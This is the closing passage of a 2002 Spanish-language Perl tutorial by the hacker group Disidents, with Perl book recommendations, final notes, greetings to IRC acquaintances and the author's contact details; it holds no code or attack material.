Precio:4.200 pts - Titulo: Network Programming with Perl Autor: Lincoln D. Stein Publisher: Addison Wesley Format: Paper, 784 pp ISBN: 0-201-61571-1 Status: Published 12/29/2000 Valoracion: Dicen que es bueno pero esta en ingles, umm que tentancion comprarlo Precio: $44.95 US Una web guapa: http://modperl.com:9000/perl_networking/ - Titulo: Guia esencial Perl 5 Autores: Micah Brown , Crhis Bellew, Dan Livingston N de hojas: 206 Nivel:Principiante Valoracion: Una pequea guia interesante para programadores web, que quieren algo rapido y facil Precio: 1.496 pts NOTA: Me quedo con el primero ;) y el 3 dan ganas, para cuando me toque la loteria

. ====================================================================== ====. |=======~ 57.0.0 NOTAS FINALES ~============================================ | ====================================================================== ===== - Ummm en la proxima edicion espero tratar mucho mas a fondo la programacion en perl, sacar nuevos programas y mejorar los ya realizados, no se cuando la sacare o si podra tener el tamao y la calidad de esta pero lo intentare, estoy viciado ;), espero que os haya gustado y os haya servido al menos de introduccion a la programacion, si habeis escrito algun programa o algo y quereis que se incluya en el siguiente capitulo comentado etc... ya sabeis al mail disidents@yahoo.es, y lo incluiremos en la web tambien sin ningun problema, todos las herramientas se encuentran en la pagina web de

disidents en la seccion de herramientas, tenemos copyright xDD, pero si alguno de vosotros quiere incluir algun programa, o el texto en vuestra pagina web no hay ningun problema siempre que se haga referencia al autor y al grupo a quien pertenece.

. ====================================================================== ====. |=======~ 58.0.0 SALUDOS ~================================================== | ====================================================================== ===== - Ya se acabo el trabajo de unos cuantos meses, necesito un descanssssooooo, venga este articulo va dedicado aaaaaa Taseh, W3ndig0, N0rth, Rah3, X4B1, S-P-A-R-K, leon01, rootzero, Vanmore, remains, damicita, wendell, {FEAR} , ADAROTH, charchi, ^[LoW]^, Genl0g, bockvan, Shadows_T, T0wanda, AsHiRa-, LLoKKa, NaNo-mAn, ourkito, {^JaB3^}, Sisq0, Estxellon, Gibdeon, ^Garlick^, _0rAk00L_, Nakao, _Azec]{_, d0b3rman, C0ven, ^jan, bad^boy, mi-6, {V|S|oN}, Vuur-Burn, X-CRoMe, wylli, Randomlog, Crypto , SirCandy, ScRool, hdi4, ZiltrOcs, ]DYD[, pinorrana, Quade2K, charchi, XhAp|nCo, Crash_18, [NeTrOh], elreviron, kl0nk, ZeRo-DivI, AlI10s, mindlock, Lecter, mitr3in, XanKaiSen madbiker, maniac y ASzY. Diossssss espero no olvidarme de nadie, ahhh y los chicos de antiguo y muy ilustre canal #undergr0und en terra namx, Gerardx and company, yo nunca olvido a los amigos ;)

. ====================================================================== ====. |=======~ 59.0.0 CONTACTO ~=================================================

| ====================================================================== ===== - Pues es facil localizarme,que tenga tiempo para hablar dificil sobre todo por semana:

.====[ Contacta conmigo o con el team ] ====================================. | | | ===[ MI MAIL ]====================== ===================[ MAIL TEAM ]=== | | = Diegorba@yahoo.es = = Disidents@yahoo.es = | | = = = = | | ===================================== ================================== | | =====[ w3BpaG3s ]==================== =================[ Irc Servers ]== | | = http://www.disidents.int-ltd.com = = irc.telecable.es 6667 = | | = http://www.galeon.com/disidensweb = = irc.linux.org 6667 = | | ===================================== =====[ Channels ]= = | | = EL HACKER NOBLE - DISIDENTS =[ #disidents #codex #el3ktro = | | = DATE: 23-02-2002 =[ #seguridad_redes = | | ====================================================================== == | | | `===================================[ Contacta conmigo o con el team ] ====='